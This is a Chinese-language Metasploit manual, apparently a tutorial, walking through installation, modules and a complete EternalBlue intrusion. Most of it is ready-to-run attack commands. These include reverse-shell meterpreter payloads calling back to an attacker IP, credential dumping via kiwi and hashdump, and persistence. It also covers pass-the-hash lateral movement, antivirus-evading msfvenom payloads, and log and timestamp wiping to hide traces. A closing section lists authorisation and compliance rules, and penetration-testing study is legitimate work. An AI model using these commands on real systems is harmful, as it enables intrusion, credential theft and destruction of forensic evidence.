• Metasploit 详细使用手册

    渗透测试框架终极武器
    🔗 官方网站https://www.metasploit.com
    🔗 文档中心https://docs.metasploit.com
    🔗 GitHub 仓库https://github.com/rapid7/metasploit-framework


    1. Metasploit 核心架构

    Metasploit 框架采用模块化设计,主要组件:

    组件 功能描述
    msfconsole 主交互界面(90%的操作在此完成)
    Modules 功能模块:Exploit(漏洞利用)、Payload(攻击载荷)、Auxiliary(辅助)等
    msfvenom 载荷生成器(创建免杀木马)
    Database PostgreSQL集成,存储扫描结果和会话数据
    Meterpreter 高级内存驻留后渗透代理(无文件操作)

    2. 完整安装指南

    Kali Linux(预装):

    1
    2
    sudo apt update && sudo apt full-upgrade
    msfdb init # 初始化数据库

    其他系统:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # Ubuntu
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
    chmod +x msfinstall
    ./msfinstall

    # Windows
    下载:https://windows.metasploit.com/metasploitframework-latest.msi

    # macOS
    brew tap homebrew/cask
    brew install metasploit

    数据库配置:

    1
    2
    3
    systemctl start postgresql  # 启动数据库
    msfdb init # 初始化
    db_status # 验证连接

    3. 模块深度解析

    A. Exploit 模块(漏洞利用)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 搜索模块
    search type:exploit platform:windows name:smb

    # 常用参数
    set RHOSTS 192.168.1.100 # 目标IP
    set RPORT 445 # 目标端口
    set LHOST 192.168.1.50 # 监听IP
    set LPORT 4444 # 监听端口
    set TARGET 0 # 选择目标系统版本
    set PAYLOAD windows/x64/meterpreter/reverse_tcp

    B. Payload 模块(攻击载荷)

    类型 说明 示例
    反向Shell 目标主动连接攻击者 windows/meterpreter/reverse_tcp
    绑定Shell 攻击者连接目标监听端口 windows/shell_bind_tcp
    无文件载荷 完全内存驻留 windows/x64/meterpreter_reverse_https
    跨平台载荷 支持多系统 java/meterpreter/reverse_tcp

    C. Auxiliary 模块(辅助工具)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 端口扫描
    use auxiliary/scanner/portscan/tcp
    set PORTS 1-1000
    set RHOSTS 192.168.1.0/24

    # 漏洞验证
    use auxiliary/scanner/smb/smb_ms17_010

    # 密码爆破
    use auxiliary/scanner/ssh/ssh_login
    set USER_FILE /path/users.txt
    set PASS_FILE /path/passwords.txt

    4. 完整渗透工作流(以 EternalBlue 为例)

    Step 1:信息收集

    1
    2
    db_nmap -sV -O 192.168.1.100  # 扫描结果存入数据库
    services -p 445 -R # 列出所有开放445端口的主机

    Step 2:漏洞利用

    1
    2
    3
    4
    5
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.1.100
    set LHOST eth0
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    exploit -j # 后台执行

    Step 3:后渗透操作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    # 基础信息收集
    sysinfo
    run post/windows/gather/enum_logged_on_users

    # 权限提升
    getsystem # 尝试提权
    run post/multi/recon/local_exploit_suggester

    # 密码提取
    load kiwi
    creds_all

    # 持久化
    run persistence -X -i 60 -p 443 -r 192.168.1.50

    # 横向移动
    run post/windows/manage/migrate
    run post/multi/manage/autoroute

    Step 4:痕迹清理

    1
    2
    clearev  # 清除日志
    timestomp -b C:\\target.exe # 恢复文件时间戳

    5. Meterpreter 高级命令手册

    类别 命令 功能
    文件系统 download /path/file 下载文件
    upload /local/file C:\\target 上传文件
    edit file.txt 编辑文件
    系统操作 screenshot 截屏
    webcam_snap 摄像头拍照
    keyscan_start 键盘记录
    网络操作 portfwd add -l 3389 -p 3389 -r TARGET_IP 端口转发
    arp 查看ARP表
    权限管理 getsystem 提权至SYSTEM
    run post/windows/gather/hashdump 导出密码哈希
    防御规避 migrate <PID> 迁移进程(推荐迁移到explorer.exe)
    load powershell 加载PowerShell扩展

    6. 高级技巧与最佳实践

    A. 载荷免杀处理

    1
    2
    3
    4
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=443 \
    -e x86/shikata_ga_nai -i 5 \
    -f exe -o payload.exe \
    --encoder-options key=mysecretpassword

    B. 资源脚本自动化
    创建 autopwn.rc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 自动化攻击脚本
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.1.100
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.1.50
    set ExitOnSession false
    exploit -j -z

    # 后渗透自动化
    use post/windows/manage/migrate
    set SESSION -1
    run

    执行:msfconsole -r autopwn.rc

    C. 横向移动技术

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    # 添加路由
    run post/multi/manage/autoroute SUBNET=192.168.2.0/24

    # SMB登录爆破
    use auxiliary/scanner/smb/smb_login
    set RHOSTS 192.168.2.1-254
    set SMBDOMAIN MYDOMAIN
    set USER_FILE users.txt
    set PASS_FILE passwords.txt
    run

    # Pass-the-Hash攻击
    use exploit/windows/smb/psexec
    set RHOST 192.168.2.50
    set SMBUser Administrator
    set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

    7. 防御规避与隐蔽技术

    • 流量加密

      1
      2
      3
      set EnableStageEncoding true
      set StageEncoder x86/fnstenv_mov
      set StagerVerifySSLCert true
    • 反沙箱检测

      1
      2
      run post/windows/gather/checkvm  # 检测虚拟机
      run post/windows/manage/smart_migrate # 智能进程迁移
    • 时间规避

      1
      2
      set SLEEP 10  # 延迟10秒
      set TIMEOUT 60 # 超时60秒
    • 日志清理

      1
      2
      run event_manager -c  # 清除事件日志
      clearev # 清除安全/系统/应用日志

    8. 专业维护与更新

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 每日更新
    msfupdate # 框架更新
    apt update && apt upgrade # Kali系统更新

    # 模块管理
    reload_all # 重载所有模块
    search -u # 检查模块更新

    # 数据库维护
    db_export -f xml /path/backup.xml # 备份数据
    db_rebuild_cache # 重建缓存

    9. 安全与合规指南

    1. 法律授权:必须持有书面渗透测试授权书
    2. 范围限定:明确测试边界(IP/域名/时间窗)
    3. 数据保护:加密存储敏感数据,测试后立即删除
    4. 规避风险
      • 避免使用 -j -z 参数在生产环境自动化攻击
      • 禁用 exploit/windows/smb/psexec 在高负载系统
    5. 报告要求
      • 记录所有执行的命令(spool /path/log.txt
      • 截图关键证据(screenshot
      • 提供漏洞修复建议